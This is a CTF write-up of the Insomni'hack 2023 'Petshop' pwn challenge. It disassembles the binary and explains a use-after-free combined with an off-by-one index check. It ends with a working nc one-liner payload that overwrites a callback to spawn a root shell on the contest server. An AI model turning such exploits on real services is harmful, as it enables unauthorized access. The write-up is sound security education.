Insomni'hack 2023 writeup: Petshop¶
This year at the Insomni'hack CTF I've focused on reverse challenges. I only managed to solve a single challenge which wasn't really difficult.
Petshop - warmup/pwn¶
Welcome to my petshop, where you can buy new dogs. Be mindful that when you buy a dog it is for its lifetime. No abandonment allowed !!nc petshop.insomnihack.ch 6666`
This is a pwn and as warmup challenge it should not be too difficult...
Reverse¶
We don't have the program source-code but we do have the binary with symbols!
This challenge is tagged as pwn, thus we will need to exploit the vulnerable
binary running on the server and get a shell access.
This is a warmup challenge, I don't expected to have to write a shell-code,
that's why I first searched for a "/bin/sh"
string in the binary.
[0x00401210]> / /bin
0x00402008 hit0_0 ./bin/shWooof... Woo.
I used r2 to search for a "/bin"
string in the binary, we have a hit.
[0x00401210]> aaa # analyze all (+ function auto name)
[0x00401210]> axt hit0_0 # print Xref to "/bin"
sym.specialAbility 0x40132e [DATA:r--] lea rax, str._bin_sh
Now we search for where this data resource is used or where it is referenced, that's what is called an Xref.
We can see that the "/bin/sh"
string is used in the sym.specialAbility
function.
We can repeat the process with sym.specialAbility
.
[0x00401210]> axt sym.specialAbility # print Xref
# nothing
sym.specialAbility¶
Let's take a closer look at sym.specialAbility
.
[0x0040131c]> pdf sym.specialAbility
┌ 36: sym.specialAbility ();
│ 0x0040131c f30f1efa endbr64
│ 0x00401320 55 push rbp
│ 0x00401321 4889e5 mov rbp, rsp
│ 0x00401324 bf00000000 mov edi, 0
│ 0x00401329 e8c2feffff call sym.imp.setuid
│ 0x0040132e 488d05d30c00. lea rax, str._bin_sh
│ 0x00401335 4889c7 mov rdi, rax
│ 0x00401338 e813feffff call sym.imp.system
│ 0x0040133d 90 nop
│ 0x0040133e 5d pop rbp
└ 0x0040133f c3 ret
which in C is:
void sym.specialAbility(void) {
setuid(0);
system("/bin/sh");
}
Calling this function is indeed what we need, but this function isn't used anywhere.
sym.basicAbility¶
Since the binary is not stripped we have all the symbols, one of them had a similar name: sym.basicAbility
.
Let's take a look.
[0x00401340]> s sym.basicAbility # seek to the addr of sym.basicAbility symbol
[0x00401340]> pdf # print disassemble of function
; DATA XREF from main @ 0x4014dc(r)
┌ 26: sym.basicAbility ();
│ 0x00401340 f30f1efa endbr64
│ 0x00401344 55 push rbp
│ 0x00401345 4889e5 mov rbp, rsp
│ 0x00401348 488d05c10c00. lea rax, str.Wooof..._Woof..._Woof
│ 0x0040134f 4889c7 mov rdi, rax
│ 0x00401352 e8e9fdffff call sym.imp.puts
│ 0x00401357 90 nop
│ 0x00401358 5d pop rbp
└ 0x00401359 c3 ret
[0x00401340]> pdg # print decompiled using r2-ghidra plugin
void sym.basicAbility(void) {
sym.imp.puts("Wooof... Woof... Woof...");
return;
}
This function simply prints the string "Wooof... Woof... Woof..."
to stdout, this is a petshop what did you expected, uh?
But sym.basicAbility
has a DATA Xref, it is used in main @ 0x4014dc
.
main loop¶
If we run the program we can see the following output:
$ ./petshop
[1] Get a new animal
[2] Recall all your animals names
[3] Use your pet special ability
[4] Let him go
[5] Quit
>
The program has a menu with 5 entries which triggers different actions.
After a bit of reversing, we can focus on three interesting actions:
- #1: allocating a new animal
- #3: using the callback of the animal (ie
sym.basicAbility
) - #4: freeing animals
allocating new animals¶
Here is a pseudo code of the first action, thanks to a bit of reversing and to r2-ghidra
plugin:
if (nr_dog < 5) {
dogs[nr_dog] = malloc(0x80);
srand(time(0));
idx = rand() % 3;
strcpy(&dogs[nr_dog], &names[idx * 5]);
*((&dogs[nr_dog] + 0x18) = sym.basicAbility;
printf("Wonderful, you now own a little dog called %s\n", &dogs[nr_dog]);
nr_dog++;
} else {
puts("You have too much animals!");
}
We can see that:
- we can have a maximum of 5 animals
- animals struct start with a string, stored as a char buffer
- ability callback is 24 bytes after the start of the animal struct
In other words, we can say that the animal struct look something like:
struct animal {
char name[0x18];
void (*ability)(void);
};
freeing animals¶
if (nr_dog == 5) {
for (i = 4; 0 < i; i--) {
free(dogs[i]);
dogs[i] = NULL;
nr_dog--;
}
free(dogs[0]);
nr_dog--;
puts("All your animals have been freed");
} else if (nr_dog < 1) {
puts("You must have 5 animals to free them all together");
} else {
free(dest[nr_dog - 1]);
dogs[nr_dog - 1] = NULL;
nr_dog--;
}
The interesting part here is when we free all the animals at once, in the
case of nr_dog == 5
. When doing so, the first pointer isn't set to NULL
.
This is suspicious and we should search for a code that can be exploited to reuse this pointer, also known as an use-after-free.
do the trick!¶
The last case calls the pet ability, it asks first for the pet number to ask for a trick and then call it's ability function.
printf("Which one: ");
scanf("%d", &idx);
if (idx < 0) {
puts("I don't think so");
} else if (idx < 6) {
if (nr_dog < idx) { /* bogus */
puts("No, no, no....");
} else {
/* call dogs[idx].ability(); */
(**((&dogs)[idx] + 0x18))();
}
} else {
puts("Please...");
}
During early testing I easily managed to cause a segmentation fault when
testing the special ability.
Turns out that there is an error on the index bound check:
an index equal to the count of dogs is considered valid.
Thus if nr_dog == 0
and index of 0
isn't rejected.
This makes it possible to call a previously freed dog!
Missing piece¶
The only missing piece is a way to overwrite the dog structure with a
pointer to sym.specialAbility
. I spent an awful lot of time during
the event searching for something that was right under my nose:
if (choice == 1337) {
buf = malloc(0x80);
scanf("%32s", buf);
clear_buffer();
}
The menu had an extra action, not displayed in the menu,
that writes to a newly malloc'ed buffer.
This is exactly what we were missing.
We can expect malloc
to returns the same address as the
previously freed memory, the same address pointed by the
dog pointer at index 0.
This behavior is very-likely implementation defined, but I didn't bothered looking at malloc implementations.
Exploitation¶
The courses of action to exploit this binary is as follow:
- get 5 dogs and let them go: dog pointer at index zero isn't
NULL
- use the hidden action to write to memory: overwrite the ability callback
- use the pet ability: exploit the bogus index check
- we should have a shell
$ (printf '1\n1\n1\n1\n1\n4\n1337\nAAAAaaaaBBBBbbbbCCCCcccc\x1c\x13\x40\x00\n3\n0\n'; cat) | nc petshop.insomnihack.ch 6666
> cat flag
flag INS{Us3_4Ft3r_Fr33_ArE_R3al1y_34sY_To_3xPlOi7}
Conclusion¶
This challenge wasn't really hard, but still took me a lot of time. This was also the first time that I solved a pwn challenge during a CTF.
For me key takeaways are:
- look-out for
system
function call and/bin/sh
strings, this was an easy challenge after all - something is fishy when a program crash, this needs to be looked at
- malloc is likely to reuse freed memory (that's how an allocator works)